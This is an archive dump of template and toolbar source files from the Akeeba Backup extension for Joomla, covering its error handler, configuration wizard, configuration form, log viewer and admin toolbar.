		FEF can be missing from your site either because Joomla failed to install it or because you, another Super User,
		or another extension mistakenly uninstalled it.
	</p>
	<p>
		If it's missing we cannot display the interface to this component. That's why you see this message.
	</p>
	<p>
		You do not have to worry about adding bloat to your site. FEF is very small. It will also be automatically
		uninstalled when you uninstall all components which depend on it.
	</p>
	<p>
		FEF is installed in the <code>media/fef</code> folder under your site's root. It appears in Joomla's Extensions,
		Manage page as <code>file_fef</code>. Please do not remove it from your site.
	</p>
</div>
com_akeeba/tmpl/CommonTemplates/errorhandler.php000060400000025763152455305260016115 0ustar00<?php
/**
 * PHP Exception Handler
 *
 * @copyright Copyright (c) 2018-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

/** @var Throwable $e */
/** @var string $title */
/** @var bool $isPro */

$code = $e->getCode();
$code = !empty($code) ? $code : 500;

$app  = class_exists('\Joomla\CMS\Factory') ? \Joomla\CMS\Factory::getApplication() : \JFactory::getApplication();

$user30 = (class_exists('JFactory') && method_exists('JFactory', 'getUser')) ? JFactory::getUser() : null;
$user38 = class_exists('\Joomla\CMS\Factory') && method_exists('\Joomla\CMS\Factory', 'getUser') ? \Joomla\CMS\Factory::getUser() : null;
$user40 = (is_object($app) && method_exists($app, 'getIdentity')) ? $app->getIdentity() : null;
$user = is_null($user40) ? $user38 : $user40;
$user = is_null($user40) ? $user30 : $user;
$isSuper = !is_null($user) && $user->authorise('core.admin');

$isFrontend   = class_exists('JApplicationSite') && ($app instanceof JApplicationSite);
$isFrontend   = $isFrontend || (class_exists('\Joomla\CMS\Application\SiteApplication') && ($app instanceof \Joomla\CMS\Application\SiteApplication));
$user         = $isFrontend ? (method_exists($app, 'getIdentity') ? $app->getIdentity() : JFactory::getUser()) : null;
$hideTheError = $isFrontend && !(defined('JDEBUG') && (JDEBUG == 1)) && !$isSuper;
$isPro        = !isset($isPro) ? false : $isPro;

// 403 and 404 are re-thrown
if (in_array($code, [403, 404]))
{
	throw $e;
}

if (version_compare(JVERSION, '4', 'lt'))
{
	$app->setHeader('HTTP/1.1', $code);
}
else
{
	// In Joomla 4 we have to use the "Status" header, otherwise we get a fatal error saying that
	// HTTP/1.1 is not a valid header
	$app->setHeader('Status', $code);
}

if (!$isFrontend)
{
	if (class_exists('\Joomla\CMS\Toolbar\ToolbarHelper'))
	{
		\Joomla\CMS\Toolbar\ToolbarHelper::title($title . ' <small>Unhandled Exception</small>');
	}
	else
	{
		JToolbarHelper::title($title . ' <small>Unhandled Exception</small>');
	}

}

$isJoomla3 = version_compare(JVERSION, '3.999.999', 'le');

?>

<?php if ($hideTheError): ?>
	<?php if ($isJoomla3): ?>
		<h1>The application has stopped responding</h1>
		<p>
			Please contact the administrator of the site and let them know of this error and what you were doing when this
			happened.
		</p>
	<?php else: ?>
		<div class="card">
			<h1 class="card-header bg-danger text-white">The application has stopped responding</h1>
			<div class="card-body">
				<p>
					Please contact the administrator of the site and let them know of this error and what you were doing when this
					happened.
				</p>
			</div>
		</div>
	<?php endif; ?>
	<?php return true; endif; ?>
<div class="<?php echo $isJoomla3 ? '' : 'card my-3' ?>">
	<h1 class="<?php echo $isJoomla3 ? '' : 'card-header bg-danger text-white' ?>">
		<?php echo $title ?> - An unhandled Exception has been detected
	</h1>
	<div class="<?php echo $isJoomla3 ? '' : 'card-body' ?>">
		<h3>
			<?php if ($isJoomla3): ?>
				<span class="label label-danger"><?php echo htmlentities($code) ?></span> <?php echo htmlentities($e->getMessage()) ?>
			<?php else: ?>
				<span class="badge bg-danger"><?php echo htmlentities($code) ?></span> <?php echo htmlentities($e->getMessage()) ?>
			<?php endif; ?>
		</h3>
		<p>
			File <code><?php echo htmlentities(str_ireplace(JPATH_ROOT, '&lt;root&gt;', $e->getFile())) ?></code>
			<?php if ($isJoomla3): ?>
				Line <span class="label label-info"><?php echo (int) $e->getLine() ?></span>
			<?php else: ?>
				Line <span class="badge bg-info"><?php echo (int) $e->getLine() ?></span>
			<?php endif; ?>
		</p>

		<?php if ($isPro): ?>
			<div class="<?php if ($isJoomla3):?>hero-unit<?php else: ?>alert alert-primary<?php endif; ?>">
				<p>
					<strong>Would you like us to help you faster?</strong>
				</p>
				<p>
					Save this page as PDF or HTML. Make a ZIP file containing this PDF or HTML file. When filing a support ticket please attach the ZIP file (<em>not</em> the PDF or HTML file itself).
				</p>
			</div>
			<p>
				<strong>Why do we need all that information?</strong>
				This information is an x-ray of your site at the time the
				error occurred. It lets us reproduce the issue or, if it's not a bug in our software, help you pinpoint the
				external reason which led to it.
			</p>
			<p>
				<strong>What about privacy?</strong>
				Attachments are private in our ticket system: only you and us can see them, <em>even if you file a public
																								ticket</em>, and they are automatically deleted after a month.
			</p>
		<?php endif; ?>

		<hr />
		<p>
			<span class="icon icon-warning-2"></span>
			<em>
				The content below this point is for developers and power users.
			</em>
		</p>
		<hr />

		<p class="alert alert-warning">
			Joomla <?= JVERSION ?> – PHP <?= PHP_VERSION ?> on <?= PHP_OS ?>
		</p>

		<h3>Debug information</h3>
		<p>
			Exception type: <code><?php echo htmlentities(get_class($e)) ?></code>
		</p>
		<pre><?php echo htmlentities($e->getTraceAsString()) ?></pre>

		<?php while ($e = $e->getPrevious()): ?>
			<hr />
			<h4>Previous exception</h4>
			<strong>
				<?php if ($isJoomla3): ?>
					<span class="label label-danger"><?php echo htmlentities($code) ?></span> <?php echo htmlentities($e->getMessage()) ?>
				<?php else: ?>
					<span class="badge badge-danger"><?php echo htmlentities($code) ?></span> <?php echo htmlentities($e->getMessage()) ?>
				<?php endif; ?>
			</strong>
			<p>
				File <code><?php echo htmlentities(str_ireplace(JPATH_ROOT, '&lt;root&gt;', $e->getFile())) ?></code> Line <span
						class="label label-info"><?php echo (int) $e->getLine() ?></span>
			</p>
			<p>
				Exception type: <code><?php echo htmlentities(get_class($e)) ?></code>
			</p>
			<pre><?php echo htmlentities($e->getTraceAsString()) ?></pre>
		<?php endwhile; ?>

		<h3>System information</h3>
		<table class="table table-striped">
			<tr>
				<td>Operating System (reported by PHP)</td>
				<td><?php echo PHP_OS ?></td>
			</tr>
			<tr>
				<td>PHP version (as reported <em>by your server</em>)</td>
				<td><?php echo PHP_VERSION ?></td>
			</tr>
			<tr>
				<td>PHP Built On</td>
				<td><?php echo htmlentities(php_uname()); ?></td>
			</tr>
			<tr>
				<td>PHP SAPI</td>
				<td><?php echo PHP_SAPI ?></td>
			</tr>
			<tr>
				<td>Server identity</td>
				<td><?php echo htmlentities(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : getenv('SERVER_SOFTWARE')) ?></td>
			</tr>
			<tr>
				<td>Browser identity</td>
				<td><?php echo htmlentities(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '') ?></td>
			</tr>
			<tr>
				<td>Joomla! version</td>
				<td><?php echo JVERSION ?></td>
			</tr>
			<?php
			$db = JFactory::getDbo();
			if (!is_null($db)):
				?>
				<tr>
					<td>Database driver name</td>
					<td><?php echo $db->getName() ?></td>
				</tr>
				<tr>
					<td>Database driver type</td>
					<td><?php echo $db->getServerType() ?></td>
				</tr>
				<tr>
					<td>Database server version</td>
					<td><?php echo $db->getVersion() ?></td>
				</tr>
				<tr>
					<td>Database collation</td>
					<td><?php echo $db->getCollation() ?></td>
				</tr>
				<tr>
					<td>Database connection collation</td>
					<td><?php echo $db->getConnectionCollation() ?></td>
				</tr>
			<?php endif; ?>
			<tr>
				<td>PHP Memory limit</td>
				<td><?php echo function_exists('ini_get') ? htmlentities(ini_get('memory_limit')) : 'N/A' ?></td>
			</tr>
			<tr>
				<td>Peak Memory usage</td>
				<td><?php echo function_exists('memory_get_peak_usage') ? sprintf('%0.2fM', (memory_get_peak_usage() / 1024 / 1024)) : 'N/A' ?></td>
			</tr>
			<tr>
				<td>PHP Timeout (seconds)</td>
				<td><?php echo function_exists('ini_get') ? htmlentities(ini_get('max_execution_time')) : 'N/A' ?></td>
			</tr>
		</table>

		<h3>Request information</h3>
		<h4>$_GET</h4>
		<pre><?php echo htmlentities(print_r($_GET, true)) ?></pre>
		<h4>$_POST</h4>
		<pre><?php echo htmlentities(print_r($_POST, true)) ?></pre>
		<h4>$_COOKIE</h4>
		<pre><?php echo htmlentities(print_r($_COOKIE, true)) ?></pre>
		<h4>$_REQUEST</h4>
		<pre><?php echo htmlentities(print_r($_REQUEST, true)) ?></pre>

		<h3>Session state</h3>
		<pre><?php
			if (version_compare(JVERSION, '4', 'lt'))
			{
				echo htmlentities(print_r($app->getSession()->getData()->toArray(), true));
			}
			else
			{
				echo htmlentities(print_r($app->getSession()->all(), true));
			}
			?></pre>

		<?php
		if ($isJoomla3)
		{
			if (!include_once(JPATH_ADMINISTRATOR . '/components/com_admin/models/sysinfo.php'))
			{
				return;
			}

			$model       = new AdminModelSysInfo();
		}
		else
		{
			try
			{
				/** @var MVCFactoryInterface $factory */
				$factory = $app->bootComponent('com_admin')->getMVCFactory();
				/** @var \Joomla\Component\Admin\Administrator\Model\SysinfoModel $model */
				$model = $factory->createModel('Sysinfo', 'Administrator');
			}
			catch (Exception $e)
			{
				return;
			}
		}

		$directories = $model->getDirectory();

		try
		{
			$extensions = $model->getExtensions();
		}
		catch (Exception $e)
		{
			$extension = [];
		}

		$phpSettings = $model->getPhpSettings();
		$hasPHPInfo  = $model->phpinfoEnabled();
		?>

		<h3>PHP Settings</h3>
		<table class="table table-striped">
			<?php foreach ($phpSettings as $k => $v): ?>
				<tr>
					<td><?php echo $k ?></td>
					<td><?php echo htmlentities(print_r($v, true)) ?></td>
				</tr>
			<?php endforeach; ?>
		</table>

		<?php if ($hasPHPInfo):
			$phpInfo = $model->getPhpInfoArray(); ?>
			<h3>Loaded PHP Extensions</h3>
			<table class="table table-striped">
				<?php foreach ($phpInfo as $section => $data):
					if ($section == 'Core')
					{
						continue;
					} ?>
					<tr>
						<td><?php echo htmlentities($section) ?></td>
						<td>
							<?php if (in_array($section, ['curl', 'openssl', 'ssh2', 'ftp', 'session', 'tokenizer'])): ?>
								<pre><?php echo htmlentities(print_r($data, true)) ?></pre>
							<?php endif; ?>
						</td>
					</tr>
				<?php endforeach; ?>
			</table>
		<?php endif; ?>

		<h3>Enabled Extensions</h3>
		<table class="table table-striped">
			<?php foreach ($extensions as $extension => $info):
				if (strtoupper($info['state']) != 'ENABLED')
				{
					continue;
				} ?>
				<tr>
					<td><?php echo htmlentities($extension) ?></td>
					<td><?php echo htmlentities($info['version']) ?></td>
					<td><?php echo htmlentities($info['type']) ?></td>
					<td><?php echo htmlentities($info['author']) ?></td>
					<td><?php echo htmlentities($info['authorUrl']) ?></td>
				</tr>
			<?php endforeach; ?>
		</table>

		<h3>Directory Status</h3>
		<table class="table table-striped">
			<?php foreach ($directories as $k => $v): ?>
				<tr>
					<td>
						<?php echo htmlentities($k) ?>
						<?php echo !empty($v['message']) ? "[{$v['message']}]" : '' ?>
					</td>
					<td>
						<?php if ($v['writable']): ?>
							<span class="label label-success">Writeable</span>
						<?php else: ?>
							<span class="label label-danger">Unwriteable</span>
						<?php endif; ?>
					</td>
				</tr>
			<?php endforeach; ?>
		</table>
	</div>
</div>com_akeeba/tmpl/CommonTemplates/FolderBrowser.blade.php000060400000001224152455305260017235 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();
?>

{{-- Filesystem browser --}}
<div class="modal" id="folderBrowserDialog" tabindex="-1" role="dialog" aria-labelledby="folderBrowserDialogLabel"
     aria-hidden="true" style="display: none;">
    <div class="akeeba-renderer-fef">
        <h4 id="folderBrowserDialogLabel">
		    @lang('COM_AKEEBA_CONFIG_UI_BROWSER_TITLE')
        </h4>
        <div id="folderBrowserDialogBody">
        </div>
    </div>
</div>
com_akeeba/tmpl/CommonTemplates/ProfileName.blade.php000060400000000627152455305260016665 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();
?>
<div class="akeeba-block--info">
	<strong>@lang('COM_AKEEBA_CPANEL_PROFILE_TITLE')</strong>:
	#{{{ (int)($this->profileId) }}} {{{ $this->profileName }}}
</div>
com_akeeba/tmpl/RegExFileFilter/default.blade.php000060400000002312152455305260015752 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

?>
@include('admin:com_akeeba/CommonTemplates/ErrorModal')
@include('admin:com_akeeba/CommonTemplates/ProfileName')

<div class="akeeba-panel--information">
    <div class="akeeba-form-section">
        <div class="AKEEBA_MASTER_FORM_STYLING akeeba-form--inline">
            <label>@lang('COM_AKEEBA_FILEFILTERS_LABEL_ROOTDIR')</label>
            <span id="ak_roots_container_tab">
			{{ $this->root_select }}
			</span>
        </div>
    </div>
</div>

<div class="akeeba-container--primary">
    <div id="ak_list_container">
        <table id="table-container" class="akeeba-table--striped--dynamic-line-editor">
            <thead>
            <tr>
                <th width="120px">&nbsp;</th>
                <th width="250px">@lang('COM_AKEEBA_FILEFILTERS_LABEL_TYPE')</th>
                <th>@lang('COM_AKEEBA_FILEFILTERS_LABEL_FILTERITEM')</th>
            </tr>
            </thead>
            <tbody id="ak_list_contents" class="table-container">
            </tbody>
        </table>
    </div>
</div>
com_akeeba/tmpl/ConfigurationWizard/wizard.blade.php000060400000005556152455305260016653 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

$steps = ['flush', 'minexec', 'directory', 'dbopt', 'maxexec', 'splitsize']
?>

<div id="akeeba-confwiz">

    <div id="backup-progress-pane">
        <div class="akeeba-block--warning">
            @lang('COM_AKEEBA_CONFWIZ_INTROTEXT')
        </div>

        <fieldset id="backup-progress-header">
            <h3>
                @lang('COM_AKEEBA_CONFWIZ_PROGRESS')
            </h3>
            <div id="backup-progress-content">
                <div id="backup-steps">
	                @foreach ($steps as $step)
                        <div id="step-{{ $step }}" class="akeeba-label--grey">
                            @lang('COM_AKEEBA_CONFWIZ_' . $step)
                        </div>
                    @endforeach
                </div>
                <div class="backup-steps-container">
                    <div id="backup-substep">&nbsp;</div>
                </div>
            </div>
            <span id="ajax-worker"></span>
        </fieldset>

    </div>

    <div id="error-panel" class="akeeba-block--failure" style="display:none">
        <h2 class="alert-heading">@lang('COM_AKEEBA_CONFWIZ_HEADER_FAILED')</h2>
        <div id="errorframe">
            <p id="backup-error-message">
            </p>
        </div>
    </div>

    <div id="backup-complete" style="display: none">
        <div class="akeeba-block--success">
            <h2 class="alert-heading">@lang('COM_AKEEBA_CONFWIZ_HEADER_FINISHED')</h2>
            <div id="finishedframe">
                <p>
                    @lang('COM_AKEEBA_CONFWIZ_CONGRATS')
                </p>
                <p>
                    <a
                            class="akeeba-btn--primary akeeba-btn--big"
                            href="{{{ JUri::base() }}}index.php?option=com_akeeba&view=Backup">
                        <span class="akion-play"></span>
                        @lang('COM_AKEEBA_BACKUP')
                    </a>
                    <a
                            class="akeeba-btn--ghost"
                            href="{{{ JUri::base() }}}index.php?option=com_akeeba&view=Configuration">
                        <span class="akion-wrench"></span>
                        @lang('COM_AKEEBA_CONFIG')
                    </a>
                    @if (AKEEBA_PRO)
                    <a
                            class="akeeba-btn--ghost"
                            href="{{{ JUri::base() }}}index.php?option=com_akeeba&view=Schedule">
                        <span class="akion-calendar"></span>
                        @lang('COM_AKEEBA_SCHEDULE')
                    </a>
                    @endif
                </p>
            </div>
        </div>
    </div>
</div>
com_akeeba/tmpl/Configuration/default.xml000060400000000575152455305260014555 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_CONFIGURATION_TITLE">
		<message>
			<![CDATA[COM_AKEEBA_VIEW_CONFIGURATION_DESC]]>
		</message>
	</layout>
</metadata>
com_akeeba/tmpl/Configuration/confwiz_modal.blade.php000060400000004136152455305260017016 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var \FOF40\View\DataView\Html $this */

// Make sure we only ever add this HTML and JS once per page
if (defined('AKEEBA_VIEW_JAVASCRIPT_CONFWIZ_MODAL'))
{
	return;
}

define('AKEEBA_VIEW_JAVASCRIPT_CONFWIZ_MODAL', 1);

$js = <<< JS
akeeba.Loader.add('akeeba.System', function(){
    akeeba.System.documentReady(function(){
        akeeba.System.addEventListener('comAkeebaConfigurationWizardModalClose', 'click', function() {
          akeeba.System.configurationWizardModal.close();
        });

        setTimeout(function() {
          akeeba.System.configurationWizardModal = akeeba.Modal.open({
            inherit: '#akeeba-config-confwiz-bubble',
            width: '80%'
        });
        }, 500);
    });
});

JS;

$this->container->template->addJSInline($js);
?>

<div id="akeeba-config-confwiz-bubble" class="modal fade" role="dialog"
     aria-labelledby="DialogLabel" aria-hidden="true" style="display: none;">
    <div class="akeeba-renderer-fef">
        <h4>
            @lang('COM_AKEEBA_CONFIG_HEADER_CONFWIZ')
        </h4>
        <div>
            <p>
                @lang('COM_AKEEBA_CONFIG_LBL_CONFWIZ_INTRO')
            </p>
            <p>
                <a href="index.php?option=com_akeeba&view=ConfigurationWizard"
                   class="akeeba-btn--green akeeba-btn--big">
                    <span class="akion-flash"></span>
                    @lang('COM_AKEEBA_CONFWIZ')
                </a>
            </p>
            <p>
                @lang('COM_AKEEBA_CONFIG_LBL_CONFWIZ_AFTER')
            </p>
        </div>
        <div>
            <a href="#" class="akeeba-btn--ghost akeeba-btn--small" id="comAkeebaConfigurationWizardModalClose"
               onclick="akeeba.System.configurationWizardModal.close();">
                <span class="akion-close"></span>
                @lang('JCANCEL')
            </a>
        </div>
    </div>
</div>
com_akeeba/tmpl/Configuration/default.blade.php000060400000006133152455305260015606 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var  \Akeeba\Backup\Admin\View\Configuration\Html $this */
\AkeebaFEFHelper::loadFEFScript('Tooltip');

\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
\Joomla\CMS\HTML\HTMLHelper::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true));
?>
{{-- Configuration Wizard pop-up --}}
@if($this->promptForConfigurationWizard)
	@include('admin:com_akeeba/Configuration/confwiz_modal')
@endif

{{-- Modal dialog prototypes --}}
@include('admin:com_akeeba/CommonTemplates/FTPBrowser')
@include('admin:com_akeeba/CommonTemplates/SFTPBrowser')
@include('admin:com_akeeba/CommonTemplates/FTPConnectionTest')
@include('admin:com_akeeba/CommonTemplates/ErrorModal')
@include('admin:com_akeeba/CommonTemplates/FolderBrowser')

@if($this->secureSettings == 1)
    <div class="akeeba-block--success">
		@lang('COM_AKEEBA_CONFIG_UI_SETTINGS_SECURED')
    </div>
@elseif($this->secureSettings == 0)
    <div class="akeeba-block--failure">
		@lang('COM_AKEEBA_CONFIG_UI_SETTINGS_NOTSECURED')
    </div>
@endif

@include('admin:com_akeeba/CommonTemplates/ProfileName')

<div class="akeeba-block--info">
	@lang('COM_AKEEBA_CONFIG_WHERE_ARE_THE_FILTERS')
</div>

<form name="adminForm" id="adminForm" method="post" action="index.php?option=com_akeeba&view=configuration"
      class="akeeba-form--horizontal akeeba-form--with-hidden akeeba-form--configuration">

    <div class="akeeba-panel--info" style="margin-bottom: -1em">
        <header class="akeeba-block-header">
            <h5>
                @lang('COM_AKEEBA_PROFILES_LABEL_DESCRIPTION')
            </h5>
        </header>

        <div class="akeeba-form-group">
            <label for="profilename" rel="popover"
                   data-original-title="@lang('COM_AKEEBA_PROFILES_LABEL_DESCRIPTION')"
                   data-content="@lang('COM_AKEEBA_PROFILES_LABEL_DESCRIPTION_TOOLTIP')">
				@lang('COM_AKEEBA_PROFILES_LABEL_DESCRIPTION')
            </label>
            <input type="text" name="profilename" id="profilename"
                   value="{{{ $this->profileName }}}"/>
        </div>

        <div class="akeeba-form-group">
            <label class="control-label" for="quickicon" rel="popover"
                   data-original-title="@lang('COM_AKEEBA_CONFIG_QUICKICON_LABEL')"
                   data-content="@lang('COM_AKEEBA_CONFIG_QUICKICON_DESC')">
				@lang('COM_AKEEBA_CONFIG_QUICKICON_LABEL')
            </label>
            <div>
                <input type="checkbox" name="quickicon"
                       id="quickicon" {{ $this->quickIcon ? 'checked="checked"' : '' }}/>
            </div>
        </div>
    </div>

    <!-- This div contains dynamically generated user interface elements -->
    <div id="akeebagui">
    </div>

    <div class="akeeba-hidden-fields-container">
        <input type="hidden" name="task" value=""/>
        <input type="hidden" name="@token(true)" value="1"/>
    </div>
</form>
com_akeeba/tmpl/Log/default.blade.php000060400000004612152455305260013520 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

/** @var  \Akeeba\Backup\Admin\View\Log\Html  $this */

?>
@jhtml('formbehavior.chosen')

@if(isset($this->logs) && count($this->logs))
<form name="adminForm" id="adminForm" action="index.php" method="post" class="akeeba-form--inline">
    <div class="akeeba-form-group">
        <label for="tag">@lang('COM_AKEEBA_LOG_CHOOSE_FILE_TITLE')</label>

        {{-- Joomla 3.x: Chosen does not work with attached event handlers, only with inline event scripts (e.g. onchange) --}}
        @jhtml('select.genericlist', $this->logs, 'tag', ['list.select' => $this->tag, 'list.attr' => ['class' => 'advancedSelect', 'onchange' => 'document.forms.adminForm.submit();'], 'id' => 'comAkeebaLogTagSelector'])
    </div>

	@if(!empty($this->tag))
        <div class="akeeba-form-group--actions">
            <a class="akeeba-btn--primary" href="{{{ JUri::base() }}}index.php?option=com_akeeba&view=Log&task=download&tag={{{ $this->tag }}}">
                <span class="akion-ios-download"></span>
		        @lang('COM_AKEEBA_LOG_LABEL_DOWNLOAD')
            </a>
        </div>
	@endif

    <div class="akeeba-hidden-fields-container">
        <input name="option" value="com_akeeba" type="hidden" />
        <input name="view" value="Log" type="hidden" />
        <input type="hidden" name="@token(true)" value="1" />
    </div>

</form>
@endif

@if(!empty($this->tag))
    @if ($this->logTooBig)
        <div class="akeeba-block--warning">
            <p>
                @sprintf('COM_AKEEBA_LOG_SIZE_WARNING', number_format($this->logSize / (1024 * 1024), 2))
            </p>
            <a class="akeeba-btn--dark" id="showlog" href="#">
                @lang('COM_AKEEBA_LOG_SHOW_LOG')
            </a>
        </div>
    @endif

    <div id="iframe-holder" class="akeeba-panel--primary" style="display: {{ $this->logTooBig ? 'none' : 'block' }};">
		@if(!$this->logTooBig)
            <iframe
                src="index.php?option=com_akeeba&view=Log&task=iframe&format=raw&tag={{ urlencode($this->tag) }}"
                width="99%" height="400px">
            </iframe>
		@endif
    </div>
@endif

@if( ! (isset($this->logs) && count($this->logs)))
<div class="akeeba-block--failure">
	@lang('COM_AKEEBA_LOG_NONE_FOUND')
</div>
@endif
com_akeeba/tmpl/Log/raw.blade.php000060400000003537152455305260012672 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;

/** @var  \Akeeba\Backup\Admin\View\Log\Raw $this */

// -- Get the log's file name
$tag     = $this->tag;
$logFile = Factory::getLog()->getLogFilename($tag);

if (!@is_file($logFile) && @file_exists(substr($logFile, 0, -4)))
{
	/**
	 * Transitional period: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This
	 * addresses this transition.
	 */
	$logFile = substr($logFile, 0, -4);
}

@ob_end_clean();

if (!@file_exists($logFile))
{
	// Oops! The log doesn't exist!
	echo '<p>' . Text::_('COM_AKEEBA_LOG_ERROR_LOGFILENOTEXISTS') . '</p>';

	return;
}
else
{
	// Allright, let's load and render it
	$fp = fopen($logFile, "r");
	if ($fp === FALSE)
	{
		// Oops! The log isn't readable?!
		echo '<p>' . Text::_('COM_AKEEBA_LOG_ERROR_UNREADABLE') . '</p>';

		return;
	}

	while (!feof($fp))
	{
		$line = fgets($fp);
		if (!$line) return;
		$exploded = explode("|", $line, 3);
		unset($line);
		if (count($exploded) < 3) continue;
		switch (trim($exploded[0]))
		{
			case "ERROR":
				$fmtString = "<span style=\"color: red; font-weight: bold;\">[";
				break;
			case "WARNING":
				$fmtString = "<span style=\"color: #D8AD00; font-weight: bold;\">[";
				break;
			case "INFO":
				$fmtString = "<span style=\"color: black;\">[";
				break;
			case "DEBUG":
				$fmtString = "<span style=\"color: #666666; font-size: small;\">[";
				break;
			default:
				$fmtString = "<span style=\"font-size: small;\">[";
				break;
		}
		$fmtString .= $exploded[1] . "] " . htmlspecialchars($exploded[2]) . "</span><br/>\n";
		unset($exploded);
		echo $fmtString;
		unset($fmtString);
	}
}

@ob_start();
com_akeeba/Toolbar/Toolbar.php000060400000027051152455305260012337 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Toolbar;

// Protect from unauthorized access
defined('_JEXEC') || die();

use FOF40\Toolbar\Toolbar as BaseToolbar;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Toolbar\Toolbar as JToolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;

class Toolbar extends BaseToolbar
{
	static $isJoomla3 = null;

	public function onAlices()
	{
		$this->setTitle('COM_AKEEBA_TITLE_ALICES');
		$this->backButton('JTOOLBAR_BACK', 'index.php?option=com_akeeba&view=ControlPanel');
	}

	public function onBackupsMain()
	{
		$this->setTitle('COM_AKEEBA_BACKUP');

		if (!$this->container->input->getBool('akeeba_hide_toolbar', false))
		{
			$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');

			ToolbarHelper::spacer();
			ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/backup-now.html');
		}
	}

	public function onConfigurations()
	{
		$bar = JToolbar::getInstance('toolbar');

		$this->setTitle('COM_AKEEBA_CONFIG');

		ToolbarHelper::preferences('com_akeeba', '500', '660');
		ToolbarHelper::spacer();
		ToolbarHelper::apply();
		ToolbarHelper::save();
		ToolbarHelper::spacer();
		ToolbarHelper::custom('savenew', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
		ToolbarHelper::cancel();
		ToolbarHelper::spacer();

		// Configuration wizard button. We apply styling to it.
		$bar->appendButton('Link', 'lightning', '<strong>' . Text::_('COM_AKEEBA_CONFWIZ') . '</strong>', 'index.php?option=com_akeeba&view=ConfigurationWizard');

		ToolbarHelper::spacer();

		if (AKEEBA_PRO)
		{
			$bar->appendButton('Link', 'calendar', Text::_('COM_AKEEBA_SCHEDULE'), 'index.php?option=com_akeeba&view=Schedule');
		}

		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/configuration.html');

		$js = <<< JS
akeeba.Loader.add('akeeba.System', function(){
    akeeba.System.documentReady(function(){
	    var elButtons = document.querySelectorAll('#toolbar-lightning>button');
	    akeeba.System.iterateNodes(elButtons, function (elButton) {
			akeeba.System.addClass(elButton, 'btn-primary');        
	    });
    });
});

JS;
		$this->container->template->addJSInline($js);
	}

	public function onConfigurationWizardsMain()
	{
		$this->setTitle('COM_AKEEBA_CONFWIZ');
		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/configuration-wizard.html');
	}

	public function onControlPanelsMain()
	{
		$this->setTitle('COM_AKEEBA_CONTROLPANEL');
		ToolbarHelper::preferences('com_akeeba', '500', '660');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/control-panel.html');
	}

	public function onDatabaseFiltersMain()
	{
		$this->setTitle('COM_AKEEBA_DBFILTER');
		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/database-tables-exclusion.html');
	}

	public function onDiscovers()
	{
		$this->setTitle('COM_AKEEBA_DISCOVER');

		$this->backButton('COM_AKEEBA_CONTROLPANEL', 'index.php?option=com_akeeba');
		ToolbarHelper::spacer();
		ToolbarHelper::help('', false, 'https://www.akeeba.com/documentation/akeeba-backup-documentation/discover-import-archives.html');
	}

	public function onFileFiltersMain()
	{
		$this->setTitle('COM_AKEEBA_FILEFILTERS');

		ToolbarHelper::title(Text::_('COM_AKEEBA') . ': <small>' . Text::_('COM_AKEEBA_FILEFILTERS') . '</small>', 'akeeba');
